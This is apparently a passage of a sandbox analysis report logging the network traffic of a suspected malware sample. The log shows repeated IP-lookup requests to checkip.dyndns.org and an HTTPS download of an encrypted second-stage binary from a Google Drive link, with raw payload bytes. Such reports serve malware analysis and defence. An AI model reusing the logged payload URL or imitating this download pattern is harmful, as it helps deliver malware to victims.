10	192.168.2.8	49892	158.101.44.242	80	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:25:58.814627886 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:26:01.638802052 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:26:01 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a615f72ec398d471f646015a64c70bfe Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49919	158.101.44.242	80	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:26:02.464571953 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:26:05.312028885 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:26:05 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c3287b6759b20457efc8931bcdf12fca Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49945	158.101.44.242	80	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:26:06.190325022 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:26:09.752568007 CET	745	IN	HTTP/1.1 504 Gateway Time-out Date: Fri, 10 Jan 2025 20:26:09 GMT Content-Type: text/html Content-Length: 557 Connection: keep-alive X-Request-ID: 60b759db4891341d3a2b6de4908515fc Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c [TRUNCATED] Data Ascii: <html><head><title>504 Gateway Time-out</title></head><body><center><h1>504 Gateway Time-out</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49967	158.101.44.242	80	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:26:09.762434959 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:26:11.476747036 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:26:11 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8a757c8304009d81daa1a2bbe6c167bd Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49988	158.101.44.242	80	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:26:12.412791967 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:26:13.006381035 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:26:12 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 19b043f583d3670d591837ce9174b7ca Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49998	158.101.44.242	80	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:26:13.832356930 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:26:15.409513950 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:26:15 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2cd87a99d11a960f37cd73f4287b9c8a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	50007	158.101.44.242	80	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:26:16.235554934 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:26:16.846008062 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:26:16 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2fbd4295da2612d380b7e51c1912ac32 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	50009	158.101.44.242	80	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:26:17.768923044 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:26:21.397540092 CET	745	IN	HTTP/1.1 504 Gateway Time-out Date: Fri, 10 Jan 2025 20:26:21 GMT Content-Type: text/html Content-Length: 557 Connection: keep-alive X-Request-ID: d5806db03c4f8b56cfa915de52269d06 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c [TRUNCATED] Data Ascii: <html><head><title>504 Gateway Time-out</title></head><body><center><h1>504 Gateway Time-out</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	50010	158.101.44.242	80	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:26:21.411242008 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:26:22.824995995 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:26:22 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4b64fcdebee4c96a94279eca0cbe5ae9 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49708	142.250.186.78	443	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:25:12 UTC	216	OUT	GET /uc?export=download&id=1jNXENZ8HhH2flLMcD7n_1A0wmK9-bvgf HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2025-01-10 20:25:12 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 20:25:12 GMT Location: https://drive.usercontent.google.com/download?id=1jNXENZ8HhH2flLMcD7n_1A0wmK9-bvgf&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-u8BHxJNTz9ai0rxayWzFxg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49710	216.58.206.33	443	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:25:13 UTC	258	OUT	GET /download?id=1jNXENZ8HhH2flLMcD7n_1A0wmK9-bvgf&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-10 20:25:16 UTC	4938	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFIdbgRHsMC1CiBwq9PbFiIpyYeP4oFCfXPluExMvXb6cHxrMVV8qGXXhGnxwtfEepwpc6mz Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="vuHzIEsHyHgOazy113.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 94272 Last-Modified: Thu, 12 Dec 2024 05:43:27 GMT Date: Fri, 10 Jan 2025 20:25:15 GMT Expires: Fri, 10 Jan 2025 20:25:15 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=E7ANfg== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-10 20:25:16 UTC	4938	IN	Data Raw: 6f 62 e1 51 24 ae d9 cb 7c d4 d1 51 d3 3d cc 5d a6 95 4b 61 74 0c b2 9e a4 1e 65 f1 9e e5 ce 99 16 69 36 0c 7f 29 42 f1 26 25 a6 dc 18 c8 af 72 b8 ee 40 45 9d 77 f4 dd 64 07 21 8f 1b 79 ac c3 c0 07 73 53 68 bd 9b fc e7 c6 a1 68 9b 20 eb cb 55 c3 97 86 26 0f 11 10 78 c3 0a 25 67 d6 2d 8d db ae 80 ab ec e6 b9 ca f9 67 43 61 bd 5a 55 47 f3 82 44 b9 02 18 16 b3 fb ac fd 5d b2 63 9e 8e 35 83 02 9d 0c 61 39 48 66 33 1d 82 2a 9a b0 05 58 af 76 8c 9e 84 17 e6 38 70 f7 03 0e fe 74 68 f0 6b aa 73 c7 2a 76 ac 07 56 3d 96 b7 20 37 2a 08 00 69 61 cd 8b 34 6a 4a 47 66 b7 b8 7a 6c 56 26 bf a0 97 a3 e6 28 32 3d df 79 f4 96 72 7c 44 73 57 5b 9a 20 76 7a 3e ec cd 8c a6 1f 82 35 0d b7 0a 2d 4e 24 de 43 b6 c1 32 10 cf b2 5c ef b6 e8 31 4d 41 0e ac cd c8 e9 78 63 b9 4c e6 a8 Data Ascii: obQ$\|Q=]Katei6)B&%r@Ewd!ysShh U&x%g-gCaZUGD]c5a9Hf3Xv8pthksvV= 7*ia4jJGfzlV&(2=yr\|DsW[ vz>5-N$C2\1MAxcL
2025-01-10 20:25:16 UTC	4821	IN	Data Raw: fb d2 3d 83 a4 08 22 ce 54 53 81 eb 90 0e b8 d9 8c d4 ac 3c 2f 4d ae d1 2b 61 28 f4 32 a8 f8 53 48 9a 24 47 af a5 d4 bd 89 1c 0a 17 12 28 45 4d 26 b1 f3 7a 18 cc 42 0a e7 8b 73 cd 48 8a be 28 4f 28 bf cb ad 08 e0 5c f8 96 b1 72 59 30 d7 37 d9 4d f4 aa 7a 63 4d 81 9c fd ff 74 1e 85 85 eb e8 3b 65 23 2b 36 46 08 39 8e 27 76 bb 34 63 66 f7 65 2d b2 43 0f 00 1e 77 31 44 96 87 13 26 d4 d7 34 9e 42 ed ad b8 05 4d b0 9a ca 9d 3d 19 71 9d 22 40 96 f7 c5 3a 86 09 4c f2 79 a5 2c 18 90 2e dd 5f ac bd e4 66 1d f9 c6 fa dc ac d4 e3 52 c6 1b 73 48 1e 39 26 ac 6c 03 4b 3a 74 a7 18 42 41 e5 d8 c7 57 c0 56 08 3d ae ae 3d 2e 8e 72 6e 41 a9 df 89 55 91 d2 00 de af 25 8a df 95 47 76 7e ea 7b b5 f7 f2 4a 40 fd f4 7f 26 e3 ee ba 13 5f 21 e1 a9 bf 15 6a 2c 7b 61 0d 91 5f f4 c3 Data Ascii: ="TS</M+a(2SH$G(EM&zBsH(O(\rY07MzcMt;e#+6F9'v4cfe-Cw1D&4BM=q"@:Ly,._fRsH9&lK:tBAWV==.rnAU%Gv~{J@&_!j,{a_
2025-01-10 20:25:16 UTC	1390	IN	Data Raw: 26 1f b6 b4 d8 55 62 15 05 93 eb 18 64 1a fa 49 4f bb 93 9a 0c 41 10 cb 06 3d d7 a5 44 33 0e 3b 11 c2 47 71 05 62 a8 b9 7a bf 69 36 21 c4 6c 63 7f e5 d9 8b e4 d7 fc 16 c5 b4 85 de 11 43 66 2b 3a 10 0e 09 1c 02 51 4d 94 cc 05 d1 ea 11 3b 90 46 0c 81 1e 9e bd 92 77 01 95 94 f8 10 72 d3 dc 01 c3 34 44 cf 78 53 42 d3 9e 31 b8 c3 85 02 93 45 ac 8b 5c ee 2f fb c9 69 e0 fa 61 84 10 27 72 6e d4 e2 a5 6c b7 e6 39 f6 bb b6 a9 b6 8e 49 84 17 de 4d 4c 39 27 b4 4c b9 5c 4d 88 f0 c5 0c e3 c2 28 dd e5 ee ca 02 98 8c 20 51 72 11 e2 15 a5 8f e1 5e 81 7c f3 57 64 30 9a cb a2 1e bc 5c 6d a7 72 4d 91 9e 8b 3d c8 3a 3b e3 4c 4e 9e f9 51 39 97 0a b9 bb 4b 98 2d 2e 93 9c 10 8d 11 04 37 d5 6d 8b 58 8c 8e 3f ac 5f 89 94 8f ab 1e 00 6d 87 c7 af 31 55 75 31 06 40 46 cb 66 22 47 97 Data Ascii: &UbdIOA=D3;Gqbzi6!lcCf+:QM;Fwr4DxSB1E\/ia'rnl9IML9'L\M( Qr^\|Wd0\mrM=:;LNQ9K-.7mX?_m1Uu1@Ff"G
2025-01-10 20:25:16 UTC	1390	IN	Data Raw: 02 b7 ce 3d 3d 2a 84 60 12 7b 74 df 8d 2c 16 d7 11 d1 91 b3 45 d6 e8 d0 88 68 ec 6a b2 83 0b 4b 40 f7 fe 01 da e3 c5 bc 60 c8 0b e0 b3 ac 1d 16 37 66 61 73 74 c3 f0 c3 17 9e da e4 3f 4a 03 a5 28 22 88 08 3f 9f 58 65 f4 17 40 4e bf c8 e3 5f 37 c3 00 86 9c 0a 3b 00 5c d1 0d 8f 85 d5 13 35 ff 06 9b 04 46 77 aa c2 6d d2 ff 12 07 c5 35 9d c8 24 6d 6f f3 cc 46 62 27 59 02 eb 12 18 75 ec 37 95 be 85 92 05 31 06 cb 72 50 73 ee 44 39 a8 36 d4 bc 99 7b 05 6a df da 05 c2 54 59 fe c0 6e 6b a6 8d c1 f5 3e ff 2d 1c b7 5a ef 92 61 2c bd 2b 3a 30 ac 2c 05 6f bf 4f 94 5c 77 46 f2 35 4b ff 88 0c 83 6f 7a ae 95 62 78 d5 9c ee 09 53 bf 7d 03 c9 3e 53 d4 6d 4b dc ec 99 22 c9 91 7b 01 84 66 6e 80 65 60 2d fb c9 7a 91 df 81 84 14 53 32 62 c2 fb 80 00 d6 e4 33 fd ad a9 bd aa 11 Data Ascii: ==*`{t,EhjK@`7fast?J("?Xe@N_7;\5Fwm5$moFb'Yu71rPsD96{jTYnk>-Za,+:0,oO\wF5KozbxS}>SmK"{fne`-zS2b3
2025-01-10 20:25:16 UTC	1390	IN	Data Raw: 3c 81 9c fd fa 98 0e 84 ef 0b ed 02 74 95 38 25 57 68 a2 54 30 aa 25 6b 72 60 88 68 39 a4 54 69 ff fc 72 3b 5b 0b 91 02 3e c5 d2 24 e0 de 82 5f b2 7b 66 96 8b da e4 3c 39 a1 97 22 51 6e de 47 2d 97 14 2d 9b 63 bc 70 36 b0 3d c5 59 e8 85 e4 71 04 c9 81 eb cf b1 61 62 48 d0 02 68 61 2e 49 22 ab 7d 67 24 3c e5 b8 3c 01 c4 ff cc a6 64 16 49 77 18 cf 2c 29 3f 9f e3 0f 6e 57 de 9b d8 04 f9 01 c2 af 3e 8a c5 e9 cf 67 63 d9 93 b3 98 64 5b 56 e4 ea 10 12 f2 f5 2f 48 0c 21 e1 a9 bf 02 05 29 69 7e 21 26 c3 ff c9 3f d0 da ff 05 53 15 9d c9 27 88 54 2c bf 58 73 f5 4c 5a 4e c5 ac 0a d2 08 c9 2d 89 a8 0a 3b 58 53 d1 0d 42 53 c2 61 d9 c1 07 fc b5 42 7e f9 d3 59 c3 ad 9c 4d cd 5c 9c d7 f2 0e ee ee c0 43 98 3c c7 b7 fa 36 0a 75 eb 6c 67 b9 94 83 6f dd 03 e8 02 3f 87 c9 55 Data Ascii: <t8%WhT0%kr`h9Tir;[>$_{f<9"QnG--cp6=YqabHha.I"}g$<<dIw,)?nW>gcd[V/H!)i~!&?S'T,XsLZN-;XSBSaB~YM\C<6ulgo?U
2025-01-10 20:25:16 UTC	1390	IN	Data Raw: e6 b0 07 9e 5a e7 1e c5 7e a3 08 04 5f 02 6c 1a 8d b6 28 f8 0b 5f 84 35 40 f7 ac 9e 48 3b 92 a8 6a d7 c6 42 51 1c 8a d4 c7 a9 d1 e9 aa a5 53 53 65 94 db 2b 15 29 fd 23 a5 a4 45 48 9a 2f 54 7b b8 de db 58 1b 03 72 00 23 54 4c 35 61 3c 65 11 fd 60 00 88 7f 60 c9 42 b5 83 d7 4f 22 68 b3 af 09 e0 56 d0 fc cf 6a 53 3c d3 45 8f 57 fc b5 ec 4b cc 8b 8f fa f8 87 32 26 5e ed fc 0a 0b 33 2b 36 47 57 b8 9f 2f 09 b9 32 72 61 e6 7a 2d b2 4d 7c 51 16 f9 52 30 c2 90 c9 3b 02 4b 6b f1 cd ec be b5 73 77 a1 9d d8 fa 23 70 6a 4d 0a 37 90 df 5e 3a 86 12 39 96 64 8d bb 30 a6 24 ce 5d 1d a0 c1 4e 24 d1 81 f0 cf a8 bb 60 5c a9 10 72 59 12 63 20 aa 6c 79 35 33 67 a3 34 62 d3 ee d2 69 7f 87 56 19 33 cb 16 3d 28 ae 72 10 52 b5 df 8d 24 05 95 00 89 18 22 8c d9 fa d2 76 7e e0 b1 b2 Data Ascii: Z~_l(_5@H;jBQSSe+)#EH/T{Xr#TL5a<e``BO"hVjS<EWK2&^3+6GW/2raz-M\|QR0;Kksw#pjM7^:9d0$]N$`\rYc ly53g4biV3=(rR$"v~
